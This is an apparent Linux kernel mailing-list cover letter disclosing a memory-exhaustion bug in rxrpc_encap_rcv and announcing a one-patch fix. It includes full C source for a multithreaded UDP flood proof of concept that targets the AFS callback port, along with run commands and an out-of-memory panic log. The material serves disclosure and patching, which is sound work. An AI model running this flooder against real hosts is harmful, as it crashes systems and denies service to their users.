From: Ren Wei <enjou1224z@gmail.com>
To: linux-afs@lists.infradead.org, netdev@vger.kernel.org
Cc: dhowells@redhat.com, marc.dionne@auristor.com,
davem@davemloft.net, edumazet@google.com, pabeni@redhat.com,
horms@kernel.org, vega@nebusec.ai, zihanx@nebusec.ai,
enjou1224z@gmail.com
Subject: [PATCH net 0/1] rxrpc: fix encap_rcv skb accounting exhaustion
Date: Fri, 24 Jul 2026 01:43:27 +0800 [thread overview]
Message-ID: <cover.1784742007.git.zihanx@nebusec.ai> (raw)
From: Zihan Xi <zihanx@nebusec.ai>
Hi Linux kernel maintainers,
We found and validated an issue in net/rxrpc/io_thread.c. The bug is
reachable by an unprivileged local user via the in-kernel AFS callback
listener on [::]:7001. We've tested it, and it should not affect any
other functionality.
This series contains one patch:
1/1 rxrpc: fix encap_rcv skb accounting exhaustion
We provide bug details, reproducer steps, and a crash log below.
---- details below ----
Bug details:
rxrpc_encap_rcv() removes encapsulated UDP packets from the UDP receive
path and queues them on the RxRPC local queue without preserving UDP
receive-buffer accounting. A local AF_RXRPC service such as the AFS
callback listener can therefore be flooded with RxRPC-shaped UDP
packets until the RxRPC receive buffers grow without bound.
The attached patch reaccounts each encapsulated skb against the UDP
socket before it is queued on the RxRPC local queue and drops packets
once the socket rcvbuf limit is exhausted. It also clears sk_user_data
under RCU protection and defers socket release until queued skbs are
purged so the new skb ownership cannot outlive the UDP socket.
On the unfixed kernel, the reproducer drove /proc/net/rxrpc to:
- Buffers: rxb=152399
- RxQ=46041
On the fixed kernel under the same workload, packet reception continued
but:
- Buffers: rxb=0
- RxQ=0
Reproducer:
Host:
gcc -static -O2 -pthread -o poc.static poc.c
Guest:
sysctl -w kernel.panic_on_warn=0
sysctl -w vm.panic_on_oom=1
sysctl -w vm.overcommit_memory=2
sysctl -w vm.overcommit_ratio=50
./poc -t 16 -s 60 -l 8
./poc -t 32 -s 120 -l 8
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#define RXRPC_PACKET_TYPE_DATA 1
#define RXRPC_CLIENT_INITIATED 0x01
#define RXRPC_SERVICE_ID 1
#define AFS_CB_CALLBACK_OP 204
#define DEFAULT_PORT 7001
#define DEFAULT_THREADS 4
#define DEFAULT_SECONDS 20
#define DEFAULT_PAYLOAD 8
struct __attribute__((packed)) rxrpc_wire_header {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t reserved;
uint16_t serviceId;
};
struct thread_args {
struct sockaddr_in6 dst;
int seconds;
size_t payload_len;
uint32_t cid_seed;
unsigned long sent;
};
static volatile sig_atomic_t stop_flag;
static void on_alarm(int sig)
{
(void)sig;
stop_flag = 1;
}
static void *sender_thread(void *arg)
{
struct thread_args *ta = arg;
int fd;
char *packet;
struct rxrpc_wire_header *hdr;
uint32_t *op;
uint32_t *count;
uint32_t seq = 1;
fd = socket(AF_INET6, SOCK_DGRAM, 0);
if (fd < 0) {
perror("socket");
return NULL;
}
packet = malloc(sizeof(*hdr) + ta->payload_len);
if (!packet) {
perror("malloc");
close(fd);
return NULL;
}
memset(packet + sizeof(*hdr), 0, ta->payload_len);
hdr = (struct rxrpc_wire_header *)packet;
hdr->epoch = htonl(0x80000000u | (ta->cid_seed & 0x7fffffffu));
hdr->cid = htonl((ta->cid_seed << 2) | 0);
hdr->callNumber = htonl(1);
hdr->type = RXRPC_PACKET_TYPE_DATA;
hdr->flags = RXRPC_CLIENT_INITIATED;
hdr->userStatus = 0;
hdr->securityIndex = 0;
hdr->reserved = 0;
hdr->serviceId = htons(RXRPC_SERVICE_ID);
op = (uint32_t *)(packet + sizeof(*hdr));
*op = htonl(AFS_CB_CALLBACK_OP);
if (ta->payload_len >= 8) {
count = op + 1;
*count = htonl(1);
}
while (!stop_flag) {
hdr->seq = htonl(seq);
hdr->serial = htonl(seq);
if (sendto(fd, packet, sizeof(*hdr) + ta->payload_len, 0,
(struct sockaddr *)&ta->dst, sizeof(ta->dst)) >= 0) {
ta->sent++;
seq++;
}
}
free(packet);
close(fd);
return NULL;
}
static void usage(const char *prog)
{
fprintf(stderr, "Usage: %s [-a addr] [-p port] [-t threads] [-s seconds] [-l payload_len]\n", prog);
}
int main(int argc, char **argv)
{
struct sockaddr_in6 dst = {
.sin6_family = AF_INET6,
.sin6_port = htons(DEFAULT_PORT),
};
const char *addr = "::1";
int threads = DEFAULT_THREADS;
int seconds = DEFAULT_SECONDS;
size_t payload_len = DEFAULT_PAYLOAD;
pthread_t *tids;
struct thread_args *args;
unsigned long total = 0;
int opt;
while ((opt = getopt(argc, argv, "a:p:t:s:l:h")) != -1) {
switch (opt) {
case 'a':
addr = optarg;
break;
case 'p':
dst.sin6_port = htons((uint16_t)strtoul(optarg, NULL, 0));
break;
case 't':
threads = atoi(optarg);
break;
case 's':
seconds = atoi(optarg);
break;
case 'l':
payload_len = strtoul(optarg, NULL, 0);
break;
default:
usage(argv[0]);
return 1;
}
}
if (threads <= 0 || seconds <= 0 || payload_len < 4 || payload_len > 65000) {
usage(argv[0]);
return 1;
}
if (inet_pton(AF_INET6, addr, &dst.sin6_addr) != 1) {
perror("inet_pton");
return 1;
}
signal(SIGALRM, on_alarm);
alarm(seconds);
tids = calloc((size_t)threads, sizeof(*tids));
args = calloc((size_t)threads, sizeof(*args));
if (!tids || !args) {
perror("calloc");
return 1;
}
for (int i = 0; i < threads; i++) {
args[i].dst = dst;
args[i].seconds = seconds;
args[i].payload_len = payload_len;
args[i].cid_seed = 1 + (uint32_t)i;
if (pthread_create(&tids[i], NULL, sender_thread, &args[i]) != 0) {
fprintf(stderr, "pthread_create(%d) failed: %s\n", i, strerror(errno));
stop_flag = 1;
threads = i;
break;
}
}
for (int i = 0; i < threads; i++) {
pthread_join(tids[i], NULL);
total += args[i].sent;
}
printf("sent_packets=%lu payload_len=%zu threads=%d duration=%d\n",
total, payload_len, threads, seconds);
free(args);
free(tids);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 374.868900][T10021] Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled
[ 374.869593][T10021] CPU: 0 UID: 1028 PID: 10021 Comm: poc_rxrpc_mem Not tainted 7.1.0-rc1 #2 PREEMPT(full)
[ 374.870253][T10021] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 374.870955][T10021] Call Trace:
[ 374.871183][T10021] <TASK>
[374.871397][T10021] vpanic+0x6c3/0x790
[374.871684][T10021] ? __pfx_vpanic+0x10/0x10
[374.871994][T10021] panic (/var/cache/linux-patch/vsock-accept-leak-src/kernel/panic.c:285)
[374.872312][T10021] ? __pfx_panic (/var/cache/linux-patch/vsock-accept-leak-src/kernel/panic.c:277)
[374.872754][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.873186][T10021] out_of_memory (/var/cache/linux-patch/vsock-accept-leak-src/mm/oom_kill.c:298 /var/cache/linux-patch/vsock-accept-leak-src/mm/oom_kill.c:1150)
[374.873559][T10021] ? __pfx_out_of_memory (/var/cache/linux-patch/vsock-accept-leak-src/mm/oom_kill.c:1114)
[374.873931][T10021] __alloc_frozen_pages_noprof+0x2306/0x2af0
[374.874497][T10021] ? __pfx___alloc_frozen_pages_noprof+0x10/0x10
[374.874991][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.875378][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.875759][T10021] ? find_held_lock (/var/cache/linux-patch/vsock-accept-leak-src/kernel/locking/lockdep.c:5237)
[374.876091][T10021] ? lock_acquire (/var/cache/linux-patch/vsock-accept-leak-src/kernel/locking/lockdep.c:5754 /var/cache/linux-patch/vsock-accept-leak-src/kernel/locking/lockdep.c:5719)
[374.876429][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.876802][T10021] ? find_held_lock (/var/cache/linux-patch/vsock-accept-leak-src/kernel/locking/lockdep.c:5237)
[374.877129][T10021] alloc_pages_mpol+0x14a/0x440
[374.877462][T10021] ? __pfx_alloc_pages_mpol+0x10/0x10
[374.877815][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.878193][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.878616][T10021] ? __check_object_size (/var/cache/linux-patch/vsock-accept-leak-src/mm/usercopy.c:144 (discriminator 1) /var/cache/linux-patch/vsock-accept-leak-src/mm/usercopy.c:254 (discriminator 1) /var/cache/linux-patch/vsock-accept-leak-src/mm/usercopy.c:213 (discriminator 1))
[374.878973][T10021] alloc_pages_noprof+0x10/0x110
[374.879314][T10021] skb_page_frag_refill (/var/cache/linux-patch/vsock-accept-leak-src/net/core/sock.c:2944)
[374.879666][T10021] sk_page_frag_refill (/var/cache/linux-patch/vsock-accept-leak-src/net/core/sock.c:2976)
[374.880012][T10021] __ip6_append_data+0xeea/0x4db0
[374.880373][T10021] ? __pfx_ip_generic_getfrag (/var/cache/linux-patch/vsock-accept-leak-src/net/ipv4/ip_output.c:940)
[374.880767][T10021] ? __pfx___ip6_append_data+0x10/0x10
[374.881124][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.881501][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.881868][T10021] ? ip6_setup_cork (/var/cache/linux-patch/vsock-accept-leak-src/net/ipv6/ip6_output.c:1386 (discriminator 1))
[374.882286][T10021] ip6_make_skb (/var/cache/linux-patch/vsock-accept-leak-src/net/ipv6/ip6_output.c:2052)
[374.882692][T10021] ? __pfx_ip_generic_getfrag (/var/cache/linux-patch/vsock-accept-leak-src/net/ipv4/ip_output.c:940)
[374.883077][T10021] ? __pfx_ip6_make_skb (/var/cache/linux-patch/vsock-accept-leak-src/net/ipv6/ip6_output.c:2034)
[374.883479][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.883888][T10021] ? find_held_lock (/var/cache/linux-patch/vsock-accept-leak-src/kernel/locking/lockdep.c:5237)
[374.884290][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.884704][T10021] ? udpv6_sendmsg (/var/cache/linux-patch/vsock-accept-leak-src/include/net/net_namespace.h:402 (discriminator 7) /var/cache/linux-patch/vsock-accept-leak-src/include/net/sock.h:657 (discriminator 7) /var/cache/linux-patch/vsock-accept-leak-src/include/net/ipv6.h:415 (discriminator 7) /var/cache/linux-patch/vsock-accept-leak-src/net/ipv6/udp.c:1446 (discriminator 7))
[374.885080][T10021] udpv6_sendmsg (/var/cache/linux-patch/vsock-accept-leak-src/include/net/net_namespace.h:402 (discriminator 7) /var/cache/linux-patch/vsock-accept-leak-src/include/net/sock.h:657 (discriminator 7) /var/cache/linux-patch/vsock-accept-leak-src/include/net/ipv6.h:415 (discriminator 7) /var/cache/linux-patch/vsock-accept-leak-src/net/ipv6/udp.c:1446 (discriminator 7))
[374.885425][T10021] ? __pfx_udpv6_sendmsg (/var/cache/linux-patch/vsock-accept-leak-src/net/ipv6/udp.c:1331)
[374.885759][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.886131][T10021] ? tomoyo_check_inet_address (/var/cache/linux-patch/vsock-accept-leak-src/security/tomoyo/network.c:472 (discriminator 1) /var/cache/linux-patch/vsock-accept-leak-src/security/tomoyo/network.c:532 (discriminator 1))
[374.886535][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.886903][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.887276][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.887672][T10021] ? __pfx_aa_sk_perm+0x10/0x10
[374.888008][T10021] ? __sys_sendto (/var/cache/linux-patch/vsock-accept-leak-src/include/linux/file.h:33 /var/cache/linux-patch/vsock-accept-leak-src/net/socket.c:2204)
[374.888340][T10021] __sys_sendto (/var/cache/linux-patch/vsock-accept-leak-src/include/linux/file.h:33 /var/cache/linux-patch/vsock-accept-leak-src/net/socket.c:2204)
[374.888635][T10021] ? __pfx___sys_sendto (/var/cache/linux-patch/vsock-accept-leak-src/net/socket.c:2170)
[374.888978][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.889369][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.889726][T10021] ? xfd_validate_state (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/kernel/fpu/xstate.c:1421 /var/cache/linux-patch/vsock-accept-leak-src/arch/x86/kernel/fpu/xstate.c:1465)
[374.890059][T10021] ? xfd_validate_state (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/kernel/fpu/xstate.c:1421 /var/cache/linux-patch/vsock-accept-leak-src/arch/x86/kernel/fpu/xstate.c:1465)
[374.890405][T10021] __x64_sys_sendto (/var/cache/linux-patch/vsock-accept-leak-src/net/socket.c:2209)
[374.890805][T10021] ? do_syscall_64 (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/entry/common.c:62 (discriminator 4) /var/cache/linux-patch/vsock-accept-leak-src/arch/x86/entry/common.c:76 (discriminator 4))
[374.891199][T10021] ? srso_alias_return_thunk (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/lib/retpoline.S:175)
[374.891568][T10021] ? lockdep_hardirqs_on (/var/cache/linux-patch/vsock-accept-leak-src/kernel/locking/lockdep.c:4421)
[374.891908][T10021] do_syscall_64 (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/entry/common.c:199)
[374.892319][T10021] ? irqentry_exit (/var/cache/linux-patch/vsock-accept-leak-src/include/linux/context_tracking.h:131 (discriminator 3) /var/cache/linux-patch/vsock-accept-leak-src/kernel/context_tracking.c:91 (discriminator 3))
[374.892664][T10021] entry_SYSCALL_64_after_hwframe (/var/cache/linux-patch/vsock-accept-leak-src/arch/x86/entry/entry_64.S:121)
[ 374.893158][T10021] RIP: 0033:0x7fcec98fb9ee
[ 374.893546][T10021] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
All code
========
0: 08 0f or %cl,(%rdi)
2: 85 f5 test %esi,%ebp
4: 4b ff rex.WXB (bad)
6: ff 49 89 decl -0x77(%rcx)
9: fb sti
a: 48 89 f0 mov %rsi,%rax
d: 48 89 d7 mov %rdx,%rdi
10: 48 89 ce mov %rcx,%rsi
13: 4c 89 c2 mov %r8,%rdx
16: 4d 89 ca mov %r9,%r10
19: 4c 8b 44 24 08 mov 0x8(%rsp),%r8
1e: 4c 8b 4c 24 10 mov 0x10(%rsp),%r9
23: 4c 89 5c 24 08 mov %r11,0x8(%rsp)
28: 0f 05 syscall
2a:* c3 ret <-- trapping instruction
2b: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1)
32: 00 00 00
35: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
3c: 48 83 ec 08 sub $0x8,%rsp
Code starting with the faulting instruction
===========================================
0: c3 ret
1: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1)
8: 00 00 00
b: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
12: 48 83 ec 08 sub $0x8,%rsp
[ 374.894971][T10021] RSP: 002b:00007fcec07fee08 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[ 374.895515][T10021] RAX: ffffffffffffffda RBX: 00007fcec07ff6c0 RCX: 00007fcec98fb9ee
[ 374.896024][T10021] RDX: 000000000000fe04 RSI: 00007fceb0000b70 RDI: 0000000000000005
[ 374.896545][T10021] RBP: 000055f531372350 R08: 000055f531372350 R09: 000000000000001c
[ 374.897055][T10021] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000005
[ 374.897565][T10021] R13: 0000000097850000 R14: 0000000000008597 R15: 00007fcebffff000
[ 374.898159][T10021] </TASK>
[ 374.898988][T10021] Kernel Offset: disabled
[ 374.899323][T10021] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
rxrpc: fix encap_rcv skb accounting exhaustion
net/rxrpc/io_thread.c | 15 +++++++++++++--
net/rxrpc/local_object.c | 8 ++++++--
2 files changed, 19 insertions(+), 4 deletions(-)
--
next reply other threads:[~2026-07-23 17:43 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-07-23 17:43 Ren Wei [this message]
2026-07-23 17:43 ` [PATCH net 1/1] rxrpc: fix encap_rcv skb accounting exhaustion Ren Wei
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1784742007.git.zihanx@nebusec.ai \
--to=enjou1224z@gmail.com \
--cc=davem@davemloft.net \
--cc=dhowells@redhat.com \
--cc=edumazet@google.com \
--cc=horms@kernel.org \
--cc=linux-afs@lists.infradead.org \
--cc=marc.dionne@auristor.com \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=vega@nebusec.ai \
--cc=zihanx@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox